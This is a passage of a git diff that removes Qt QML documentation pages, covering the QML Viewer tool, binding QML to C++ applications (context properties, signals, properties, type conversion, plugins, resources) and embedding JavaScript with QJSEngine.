declaration looks like this: - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2 - -In all other respects, property value sources are regular QML types. They must -be registered with the QML engine using the same macros as other types, and can -contain properties, signals and methods just like other types. - -When a property value source object is assigned to a property, QML first tries -to assign it normally, as though it were a regular QML type. Only if this -assignment fails does the engine call the \l {QQmlPropertyValueSource::}{setTarget()} method. This allows -the type to also be used in contexts other than just as a value source. - -\l {Extending QML - Property Value Source Example} shows the complete code used -to implement the \c HappyBirthdaySong property value source. - -\section1 Optimization and Other Considerations - -The \l{qml-engine-optimization}{ QML Engine} article suggests possible -optimization considerations as memory management and QVariant type usages. - -*/ diff --git a/doc/src/qml/qmlviewer.qdoc b/doc/src/qml/qmlviewer.qdoc deleted file mode 100644 index 04c6b42..0000000 --- a/doc/src/qml/qmlviewer.qdoc +++ /dev/null @@ -1,235 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlviewer.html -\ingroup qtquick-tools -\title QML Viewer -\ingroup qttools -\brief a tool for testing and loading QML files - -The Declarative UI package includes QML Viewer, a tool for loading QML documents that -makes it easy to quickly develop and debug QML applications. It invokes the QML -runtime to load QML documents and also includes additional features useful for -the development of QML-based applications. - -The QML Viewer is a tool for testing and developing QML applications. It is -\e not intended for use in a production environment and should not be used for the -deployment of QML applications. In those cases, the QML runtime should be invoked -from a Qt application instead; see \l {Qt Declarative UI Runtime} for more -information. - -The viewer is located at \c QTDIR/bin/qmlviewer. To load a \c .qml file -with the viewer, run the viewer and select the file to be opened, or provide the -file path on the command line: - -\code - qmlviewer myqmlfile.qml -\endcode - -On Mac OS X, the QML Viewer application is named "QMLViewer" instead. You -can launch the viewer by opening the QMLViewer application from the Finder, or -from the command line: - -\code - QMLViewer.app/Contents/MacOS/QMLViewer myqmlfile.qml -\endcode - -The QML Viewer has a number of configuration options involving features such as -fullscreen display, module import path configurations, video recording of QML -animations, and OpenGL support. - -To see the configuration options, run \c qmlviewer with the \c -help argument. - - -\section1 Adding module import paths - -Additional module import paths can be provided using the \c -I flag. -For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates -a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced -identifier, the viewer has to be run with the \c -I flag from the example's -base directory: - -\code -qmlviewer -I . plugins.qml -\endcode - -This adds the current directory to the import path so that the viewer will -find the plugin in the \c com/nokia/TimeExample directory. - -Note by default, the current directory is included in the import search path, -but namespaced modules like \c com.nokia.TimeExample are not found unless -the path is explicitly added. - - -\section1 Loading translation files - -When the QML Viewer loads a QML file, it installs a translation file from a -"i18n" subdirectory relative to that initial file. This directory should contain -translation files named "qml_.qm", where is a two-letter -ISO 639 language, such as "qml_fr.qm", optionally followed by an underscore and -an uppercase two-letter ISO 3166 country code, such as "qml_fr_FR.qm" or -"qml_fr_CA.qm". - -Such files can be created using \l {Qt Linguist}. - -The actual translation file that is loaded depends on the system locale. -Additionally, the viewer will load any translation files specified on the command -line via the \c -translation option. - -See the \l{declarative/i18n}{QML i18n example} for an example. Also, the -\l{scripting.html#internationalization}{Qt Internationalization} documentation -shows how JavaScript code in QML files can be made to use translatable strings. - - -\section1 Loading placeholder data with QML Viewer - -Often, QML applications are prototyped with fake data that is later replaced -by real data sources from C++ plugins. QML Viewer assists in this aspect by -loading fake data into the application context: it looks for a directory named -"dummydata" in the same directory as the target QML file, and any \c .qml -files in that directory are loaded as QML objects and bound to the root context -as properties named after the files. - -For example, this QML document refers to a \c lottoNumbers property which does -not actually exist within the document: - -\qml -import QtQuick 2.0 - -ListView { - width: 200; height: 300 - model: lottoNumbers - delegate: Text { text: number } -} -\endqml - -If within the document's directory, there is a "dummydata" directory which -contains a \c lottoNumbers.qml file like this: - -\qml -import QtQuick 2.0 - -ListModel { - ListElement { number: 23 } - ListElement { number: 44 } - ListElement { number: 78 } -} -\endqml - -Then this model would be automatically loaded into the ListView in the previous document. - -Child properties are included when loaded from dummy data. The following document -refers to a \c clock.time property: - -\qml -import QtQuick 2.0 -Text { text: clock.time } -\endqml - -The text value could be filled by a \c dummydata/clock.qml file with a \c time -property in the root context: - -\qml -import QtQuick 2.0 -QtObject { property int time: 54321 } -\endqml - -To replace this with real data, you can simply bind the real data object to -the root context in C++ using QQmlContext::setContextProperty(). This -is detailed in \l {Using QML Bindings in C++ Applications}. - -\section1 Using the \c runtime object - -QML applications that are loaded with the QML Viewer have access to a special -\c runtime property on the root context. This property provides additional -information about the application's runtime environment through the following properties: - -\table -\row - -\li \c runtime.isActiveWindow - -\li This property indicates whether the QML Viewer window is the current active -window on the system. It is useful for "pausing" an application, particularly -animations, when the QML Viewer loses focus or moves to the background. - -For example, the following animation is only played when the QML Viewer is -the active window: - -\qml -Rectangle { - width: 200; height: 200 - - ColorAnimation on color { - running: runtime.isActiveWindow - loops: Animation.Infinite - from: "green"; to: "blue"; duration: 2000 - } -} -\endqml - -\b{Note:} Since Qt Quick 1.1 this information is accessible outside of the QML Viewer, -through the \c active property of the \l {QML:Qt::application}{Qt.application} object. - -\row - -\li \c runtime.orientation - -\li This property indicates the current orientation of the QML Viewer. -This indicates the orientation currently selected in the QML Viewer's -\e {Settings -> Properties} menu. The \c orientation value can be one of the following: - -\list -\li \c Orientation.Portrait -\li \c Orientation.Landscape -\li \c Orientation.PortraitInverted (Portrait orientation, upside-down) -\li \c Orientation.LandscapeInverted (Landscape orientation, upside-down) -\endlist - -When the viewer's orientation changes, the appearance of the loaded QML document -does not change unless it has been set to respond to changes in -\c runtime.orientation. For example, the following Rectangle changes its -aspect ratio depending on the orientation of the QML Viewer: - -\qml -Rectangle { - id: window - width: 640; height: 480 - - states: State { - name: "landscape" - PropertyChanges { target: window; width: 480; height: 640 } - } - state: (runtime.orientation == Orientation.Landscape - || runtime.orientation == Orientation.LandscapeInverted) ? 'landscape' : '' -} -\endqml - -\endtable -*/ - diff --git a/doc/src/qml/qtbinding.qdoc b/doc/src/qml/qtbinding.qdoc deleted file mode 100644 index d8dd66b..0000000 --- a/doc/src/qml/qtbinding.qdoc +++ /dev/null @@ -1,667 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtbinding.html -\ingroup qml-features -\title Using QML Bindings in C++ Applications -\brief incorporating QML bindings in Qt C++ applications - -QML is designed to be easily extensible to and from C++. The classes in the -Qt Declarative module allow QML components to be loaded and manipulated from C++, and through -Qt's \l{The Meta-Object System}{meta-object system}, QML and C++ objects can easily -communicate through Qt signals and slots. In addition, QML plugins can be written to create -reusable QML components for distribution. - -You may want to mix QML and C++ for a number of reasons. For example: - -\list -\li To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or -calling functions in a third-party C++ library) -\li To access functionality in the Qt Declarative module (for example, to dynamically generate -images using QQuickImageProvider) -\li To write your own QML elements (whether for your applications, or for distribution to others) -\endlist - -To use the Qt Declarative module, you must include and link to the module appropriately, as shown on -the \l {QtQml}{module index page}. The \l {Qt Declarative UI Runtime} documentation -shows how to build a basic C++ application that uses this module. - - -\section1 Core module classes - -The Qt Declarative module provides a set of C++ APIs for extending your QML applications from C++ and -embedding QML into C++ applications. There are several core classes in the Qt Declarative module -that provide the essential capabilities for doing this. These are: - -\list -\li QQmlEngine: A QML engine provides the environment for executing QML code. Every -application requires at least one engine instance. -\li QQmlComponent: A component encapsulates a \l{QML Documents}{QML document}. -\li QQmlContext: A context allows an application to expose data to the QML components -created by an engine. -\endlist - -A QQmlEngine allows the configuration of global settings that apply to all of its QML -component instances: for example, the QNetworkAccessManager to be used for network communications, -and the file path to be used for persistent storage. - -QQmlComponent is used to load QML documents. Each QQmlComponent instance represents -a single document. A component can be created from the URL or file path of a QML document, or the raw -QML code of the document. Component instances are instatiated through the -QQmlComponent::create() method, like this: - -\code -QQmlEngine engine; -QQmlComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); -QObject *rectangleInstance = component.create(); - -// ... -delete rectangleInstance; -\endcode - -QML documents can also be loaded using QQuickView. This class provides a convenient -QWidget-based view for embedding QML components into QGraphicsView-based applications. (For other -methods of integrating QML into QWidget-based applications, see \l {Integrating QML Code with existing Qt -UI code}.) - - -\section1 Approaches to using QML with C++ - -There are a number of ways to extend your QML application through C++. For example, you could: - -\list -\li Load a QML component and manipulate it (or its children) from C++ -\li Embed a C++ object and its properties directly into a QML component (for example, to make a -particular C++ object callable from QML, or to replace a dummy list model with a real data set) -\li Define new QML elements (through QObject-based C++ classes) and create them directly from your -QML code -\endlist - -These methods are shown below. Naturally these approaches are not exclusive; you can mix any of -these methods throughout your application as appropriate. - - -\section2 Loading QML Components from C++ - -A QML document can be loaded with QQmlComponent or QQuickView. QQmlComponent -loads a QML component as a C++ object; QQuickView also does this, -but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading -a displayable QML component into a QWidget-based application. - -For example, suppose there is a \c MyItem.qml file that looks like this: - -\snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml start -\snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml end - -This QML document can be loaded with QQmlComponent or QQuickView with the following -C++ code. Using a QQmlComponent requires calling QQmlComponent::create() to create -a new instance of the component, while a QQuickView automatically creates an instance of the -component, which is accessible via QQuickView::rootObject(): - -\table -\row -\li -\snippet doc/src/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-a -\dots 0 -\snippet doc/src/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-b -\li -\snippet doc/src/snippets/qml/qtbinding/loading/main.cpp QQuickView -\endtable - -This \c object is the instance of the \c MyItem.qml component that has been created. You can now -modify the item's properties using QObject::setProperty() or QQmlProperty: - -\snippet doc/src/snippets/qml/qtbinding/loading/main.cpp properties - -Alternatively, you can cast the object to its actual type and call functions with compile-time -safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the -QQuickItem class: - -\snippet doc/src/snippets/qml/qtbinding/loading/main.cpp cast - -You can also connect to any signals or call functions defined in the component using -QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++} -below for further details. - -\section3 Locating child objects - -QML components are essentially object trees with children that have siblings and their own children. -Child objects of QML components can be located using the QObject::objectName property with -QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item: - -\snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml start -\codeline -\snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml child -\snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml end - -The child could be located like this: - -\snippet doc/src/snippets/qml/qtbinding/loading/main.cpp findChild - -If \c objectName is used inside a delegate of a ListView, \l Repeater or some other -element that creates multiple instances of its delegates, there will be multiple children with -the same \c objectName. In this case, QObject::findChildren() can be used to find all children -with a matching \c objectName. - -\warning While it is possible to use C++ to access and manipulate QML objects deep into the -object tree, we recommend that you do not take this approach outside of application -testing and prototyping. One strength of QML and C++ integration is the ability to implement the -QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the -C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult -to, for example, swap a QML view component for another view, if the new component was missing a -required \c objectName. It is better for the C++ implementation to know as little as possible about -the QML user interface implementation and the composition of the QML object tree. - - -\section2 Embedding C++ Objects into QML Components - -When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into -the QML object. QQmlContext enables this by exposing data to the context of a QML -component, allowing data to be injected from C++ into QML. - -For example, here is a QML item that refers to a \c currentDateTime value that does not exist in -the current scope: - -\snippet doc/src/snippets/qml/qtbinding/context/MyItem.qml 0 - -This \c currentDateTime value can be set directly by the C++ application that loads the QML -component, using QQmlContext::setContextProperty(): - -\snippet doc/src/snippets/qml/qtbinding/context/main.cpp 0 - -Context properties can hold either QVariant or QObject* values. This means custom C++ objects can -also be injected using this approach, and these objects can be modified and read directly in QML. -Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code -invokes a method on the object instance: - -\table -\row -\li -\snippet doc/src/snippets/qml/qtbinding/context-advanced/applicationdata.h 0 -\codeline -\snippet doc/src/snippets/qml/qtbinding/context-advanced/main.cpp 0 -\li -\snippet doc/src/snippets/qml/qtbinding/context-advanced/MyItem.qml 0 -\endtable - -(Note that date/time values returned from C++ to QML can be formatted through -\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) - -If the QML item needs to receive signals from the context property, it can connect to them using the -\l Connections element. For example, if \c ApplicationData has a signal named \c -dataChanged(), this signal can be connected to using an \c onDataChanged handler within -a \l Connections object: - -\snippet doc/src/snippets/qml/qtbinding/context-advanced/connections.qml 0 - -Context properties can be useful for using C++ based data models in a QML view. See the -\l {declarative/modelviews/stringlistmodel}{String ListModel}, -\l {declarative/modelviews/objectlistmodel}{Object ListModel} and -\l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for -respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel -in QML views. - -Also see the QQmlContext documentation for more information. - - -\section2 Defining New QML Elements - -While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be -defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through -C++ classes. When you create a QML object using one of these elements, you are simply creating an -instance of a QObject-based C++ class and setting its properties. - -To create a visual item that fits in with the Qt Quick elements, base your class off \l QQuickItem instead of QObject directly. -You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QQuickItem because -it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). - -For example, here is an \c ImageViewer class with an \c image URL property: - -\snippet doc/src/snippets/qml/qtbinding/newelements/imageviewer.h 0 - -Aside from the fact that it inherits QQuickItem, this is an ordinary class that could -exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType(): - -\snippet doc/src/snippets/qml/qtbinding/newelements/main.cpp register - -Then, any QML code loaded by your C++ application or \l{QQmlExtensionPlugin}{plugin} can create and manipulate -\c ImageViewer objects: - -\snippet doc/src/snippets/qml/qtbinding/newelements/standalone.qml 0 - - -It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QQuickItem. -This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. -To minimize any porting requirements for custom visual items, try to stick to the documented properties in QQuickItem where possible. Properties QQuickItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. - -Note that custom C++ types do not have to inherit from QQuickItem; this is only necessary if it is -a displayable item. If the item is not displayable, it can simply inherit from QObject. - -For more information on defining new QML elements, see the \l {Tutorial: Writing QML extensions with C++} -{Writing QML extensions with C++} tutorial and the -\l{Extending QML with C++} reference documentation. - - - -\section1 Exchanging Data between QML and C++ - -QML and C++ objects can communicate with one another through signals, slots and property -modifications. For a C++ object, any data that is exposed to Qt's \l{The Meta-Object System}{Meta-Object System} -- that is, properties, signals, slots and Q_INVOKABLE methods - become available to QML. On -the QML side, all QML object data is automatically made available to the meta-object system and can -be accessed from C++. - - -\section2 Calling Functions - -QML functions can be called from C++ and vice-versa. - -All QML functions are exposed to the meta-object system and can be called using -QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function: - -\table -\row -\li \snippet doc/src/snippets/qml/qtbinding/functions-qml/MyItem.qml 0 -\li \snippet doc/src/snippets/qml/qtbinding/functions-qml/main.cpp 0 -\endtable - -Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as -QVariant types, as this is the generic data type used for QML functions and return values. - -To call a C++ function from QML, the function must be either a Qt slot, or a function marked with -the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes -methods on the \c myObject object, which has been set using QQmlContext::setContextProperty(): - -\table -\row -\li -\snippet doc/src/snippets/qml/qtbinding/functions-cpp/MyItem.qml 0 -\li -\snippet doc/src/snippets/qml/qtbinding/functions-cpp/myclass.h 0 -\codeline -\snippet doc/src/snippets/qml/qtbinding/functions-cpp/main.cpp 0 -\endtable - -QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the -same name but different arguments, the correct function will be called according to the number and -the types of arguments that are provided. - - -\section2 Receiving Signals - -All QML signals are automatically available to C++, and can be connected to using QObject::connect() -like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using -\l {Signal Handlers}{signal handlers}. - -Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's -slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal -is emitted: - -\table -\row -\li -\snippet doc/src/snippets/qml/qtbinding/signals-qml/MyItem.qml 0 -\li -\snippet doc/src/snippets/qml/qtbinding/signals-qml/myclass.h 0 -\codeline -\snippet doc/src/snippets/qml/qtbinding/signals-qml/main.cpp 0 -\endtable - -To connect to Qt C++ signals from within QML, use a signal handler with the \c on syntax. -If the C++ object is directly creatable from within QML (see \l {Defining new QML elements} above) -then the signal handler can be defined within the object declaration. In the following example, the -QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the -C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML: - -\table -\row -\li - -\snippet doc/src/snippets/qml/qtbinding/signals-cpp/imageviewer.h start -\dots 4 -\snippet doc/src/snippets/qml/qtbinding/signals-cpp/imageviewer.h end - -\li -\snippet doc/src/snippets/qml/qtbinding/signals-cpp/standalone.qml 0 -\endtable - -(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be -received with an \c onChanged handler even if the signal's name does not follow the \c -Changed naming convention. In the above example, if the "imageChanged" signal was named -"imageModified" instead, the \c onImageChanged signal handler would still be called.) - -If, however, the object with the signal is not created from within the QML code, and the QML item only has a -reference to the created object - for example, if the object was set using -QQmlContext::setContextProperty() - then the \l Connections element can be used -instead to create the signal handler: - -\table -\row -\li \snippet doc/src/snippets/qml/qtbinding/signals-cpp/main.cpp connections -\li \snippet doc/src/snippets/qml/qtbinding/signals-cpp/MyItem.qml 0 -\endtable - -C++ signals can use enum values as parameters provided that the enum is declared in the -class that is emitting the signal, and that the enum is registered using Q_ENUMS. -See \l {Using enumerations of a custom type} below for details. - - -\section2 Modifying Properties - -Any properties declared in a QML object are automatically accessible from C++. Given a QML item -like this: - -\snippet doc/src/snippets/qml/qtbinding/properties-qml/MyItem.qml 0 - -The value of the \c someNumber property can be set and read using QQmlProperty, or -QObject::setProperty() and QObject::property(): - -\snippet doc/src/snippets/qml/qtbinding/properties-qml/main.cpp 0 - -You should always use QObject::setProperty(), QQmlProperty or QMetaProperty::write() to -change a QML property value, to ensure the QML engine is made aware of the property change. For example, -say you have a custom element \c PushButton with a \c buttonText property that internally reflects -the value of a \c m_buttonText member variable. Modifying the member variable directly like this is -not a good idea: - -\badcode -// BAD! -QQmlComponent component(engine, "MyButton.qml"); -PushButton *button = qobject_cast(component.create()); -button->m_buttonText = "Click me"; -\endcode - -Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system} -and the QML engine is not made aware of the property change. This means property bindings to -\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called. - - -\target properties-cpp - -Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY() -macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into -QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor -property. This property can be written to and read from QML: - -\table -\row -\li \snippet doc/src/snippets/qml/qtbinding/properties-cpp/applicationdata.h 0 -\li \snippet doc/src/snippets/qml/qtbinding/properties-cpp/MyItem.qml 0 -\endtable - -Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the -\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal, -the property cannot be used for \l{Property Binding in QML}, as the QML engine would not be -notified when the value changes. If you are using custom types in QML, make sure their -properties have NOTIFY signals so that they can be used in property bindings. - -See \l {Tutorial: Writing QML extensions with C++} for further details and examples -on using Qt properties with QML. - - -\section1 Supported data types - -Any C++ data that is used from QML - whether as custom properties, or parameters for signals or -functions - must be of a type that is recognizable by QML. - -By default, QML recognizes the following data types: - -\list -\li bool -\li unsigned int, int -\li float, double, qreal -\li QString -\li QUrl -\li QColor -\li QDate, QTime, QDateTime -\li QPoint, QPointF -\li QSize, QSizeF -\li QRect, QRectF -\li QVariant -\li QVariantList, QVariantMap -\li QObject* -\li Enumerations declared with Q_ENUMS() -\endlist - -To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML -type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above. - - -\section2 JavaScript Arrays and Objects - -There is built-in support for automatic type conversion between QVariantList and JavaScript -arrays, and QVariantMap and JavaScript objects. - -For example, the function defined in QML below left expects two arguments, an array and an object, and prints -their contents using the standard JavaScript syntax for array and object item access. The C++ code -below right calls this function, passing a QVariantList and a QVariantMap, which are automatically -converted to JavaScript array and object values, repectively: - -\table -\header -\li Type -\li String format -\li Example -\row -\li \snippet doc/src/snippets/qml/qtbinding/variantlistmap/MyItem.qml 0 -\li \snippet doc/src/snippets/qml/qtbinding/variantlistmap/main.cpp 0 -\endtable - -This produces output like: - -\code -Array item: 10 -Array item: #00ff00 -Array item: bottles -Object item: language = QML -Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST) -\endcode - -Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method -parameter, the value can be created as a JavaScript array or object in the QML -side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++. - - -\section2 Using Enumerations of a Custom Type - -To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to -register it with Qt's meta object system. For example, the following C++ type has a \c Status enum: - -\snippet doc/src/snippets/qml/qtbinding/enums/imageviewer.h start -\snippet doc/src/snippets/qml/qtbinding/enums/imageviewer.h end - -Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can -now be used from QML: - -\snippet doc/src/snippets/qml/qtbinding/enums/standalone.qml 0 - -The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it -can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values -must begin with a capital letter. - -See the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} tutorial and -the \l{Extending QML with C++} reference documentation for -more information. - - -\section2 Using Enumeration Values as Signal and Method Parameters - -C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration -and the signal are declared within the same class, or that the enumeration value is one of those declared -in the \l {Qt}{Qt Namespace}. - -Likewise, invokable C++ method parameters may be enumeration values providing -that the enumeration and the method are declared within the same class, or that -the enumeration value is one of those declared in the \l {Qt}{Qt Namespace}. - -Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()} -function, the enum type must be registered using qRegisterMetaType(). - -For QML signals, enum values may be used as signal parameters using the \c int type: - -\snippet doc/src/snippets/qml/qtbinding/enums/standalone.qml 1 - - -\section2 Automatic Type Conversion from Strings - -As a convenience, some basic types can be specified in QML using format strings to make it easier to -pass simple values from QML to C++. - -\table -\header -\li Type -\li String format -\li Example -\row -\li QColor -\li Color name, "#RRGGBB", "#RRGGBBAA" -\li "red", "#ff0000", "#ff000000" -\row -\li QDate -\li "YYYY-MM-DD" -\li "2010-05-31" -\row -\li QPoint -\li "x,y" -\li "10,20" -\row -\li QRect -\li "x,y,WidthxHeight" -\li "50,50,100x100" -\row -\li QSize -\li "WidthxHeight" -\li "100x200" -\row -\li QTime -\li "hh:mm:ss" -\li "14:22:55" -\row -\li QUrl -\li URL string -\li "http://www.example.com" -\row -\li QVector3D -\li "x,y,z" -\li "0,1,0" -\row -\li Enumeration value -\li Enum value name -\li "AlignRight" -\endtable - -(More details on these string formats and types can be found in the -\l {QML Basic Types}{basic type documentation}.) - -These string formats can be used to set QML \c property values and pass arguments to C++ -functions. This is demonstrated by various examples on this page; in the above -\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor -property of a QColor type, which is set from the QML code with the string "red" rather rather -than an actual QColor object. - -If it is preferred to pass an explicitly-typed value rather than a string, the global -\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object -types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four -RGBA values. The QColor returned from this function could be used instead of a string to set -a QColor-type property or to call a C++ function that requires a QColor parameter. - - -\section1 Writing QML plugins - -The Qt Declarative module includes the QQmlExtensionPlugin class, which is an abstract -class for writing QML plugins. This allows QML extension types to be dynamically loaded into -QML applications. - -See the QQmlExtensionPlugin documentation and \l {How to Create Qt Plugins} for more -details. - - -\section1 Managing resource files with the Qt resource system - -The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as -binary files in an application executable. This can be useful when building a mixed -QML/C++ application as it enables QML files (as well as other resources such as images -and sound files) to be referred to through the resource system URI scheme rather than -relative or absolute paths to filesystem resources. Note, however, that if you use the resource -system, the application executable must be re-compiled whenever a QML source file is changed -in order to update the resources in the package. - -To use the resource system in a mixed QML/C++ application: - -\list -\li Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource - files in XML format -\li From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the - \c qrc scheme -\endlist - -Once this is done, all files specified by relative paths in QML will be loaded from -the resource system instead. Use of the resource system is completely transparent to -the QML layer; this means all QML code should refer to resource files using relative -paths and should \e not use the \c qrc scheme. This scheme should only be used from -C++ code for referring to resource files. - -Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}. -The directory structure looks like this: - -\code -project - |- example.qrc - |- main.qml - |- images - |- background.png - |- main.cpp - |- project.pro -\endcode - -The \c main.qml and \c background.png files will be packaged as resource files. This is -done in the \c example.qrc resource collection file: - -\quotefile doc/src/snippets/qml/qtbinding/resources/example.qrc - -Since \c background.png is a resource file, \c main.qml can refer to it using the relative -path specified in \c example.qrc: - -\snippet doc/src/snippets/qml/qtbinding/resources/main.qml 0 - -To allow QML to locate resource files correctly, the \c main.cpp loads the main QML -file, \c main.qml, as a resource file using the \c qrc scheme: - -\snippet doc/src/snippets/qml/qtbinding/resources/main.cpp 0 - -Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should -be used to build the application resources: - -\quotefile doc/src/snippets/qml/qtbinding/resources/resources.pro - -See \l {The Qt Resource System} for more information. - -*/ - - diff --git a/doc/src/qml/qtjavascript.qdoc b/doc/src/qml/qtjavascript.qdoc deleted file mode 100644 index 0775730..0000000 --- a/doc/src/qml/qtjavascript.qdoc +++ /dev/null @@ -1,93 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \group qtjavascript - \title Scripting Classes and Overviews - - \brief Classes for embedding JavaScript in Qt/C++ applications. -*/ - -/*! - \page qtjavascript.html - \title Making Applications Scriptable - \ingroup frameworks-technologies - \brief incorporating JavaScript in Qt applications. - - Qt provides support for application scripting with JavaScript. - The following guides and references cover aspects of programming with - JavaScript and Qt. - - \tableofcontents - - \section1 Scripting Classes - - The following classes add scripting capabilities to Qt applications. - - \annotatedlist qtjavascript - - \section1 Basic Usage - - To evaluate script code, you create a QJSEngine and call its - evaluate() function, passing the script code (text) to evaluate - as argument. - - \snippet doc/src/snippets/qtjavascript/evaluation/main.cpp 0 - - The return value will be the result of the evaluation (represented - as a QJSValue object); this can be converted to standard C++ - and Qt types. - - Custom properties can be made available to scripts by registering - them with the script engine. This is most easily done by setting - properties of the script engine's \e{Global Object}: - - \snippet doc/src/snippets/qtjavascript/registeringvalues/main.cpp 0 - - This places the properties in the script environment, thus making them - available to script code. - - \section1 Making a QObject Available to the Script Engine - - Any QObject-based instance can be made available for use with scripts. - - When a QObject is passed to the QJSEngine::newQObject() function, - a Qt Script wrapper object is created that can be used to make the - QObject's signals, slots, properties, and child objects available - to scripts. - - Here's an example of making an instance of a QObject subclass - available to script code under the name \c{"myObject"}: - - \snippet doc/src/snippets/qtjavascript/registeringobjects/main.cpp 0 - - This will create a global variable called \c{myObject} in the - script environment. The variable serves as a proxy to the - underlying C++ object. Note that the name of the script variable - can be anything; i.e., it is not dependent upon QObject::objectName(). - - */ diff --git a/doc/src/qml/qtprogrammers.qdoc b/doc/src/qml/qtprogrammers.qdoc deleted file mode 100644 index fd47d9b..0000000 --- 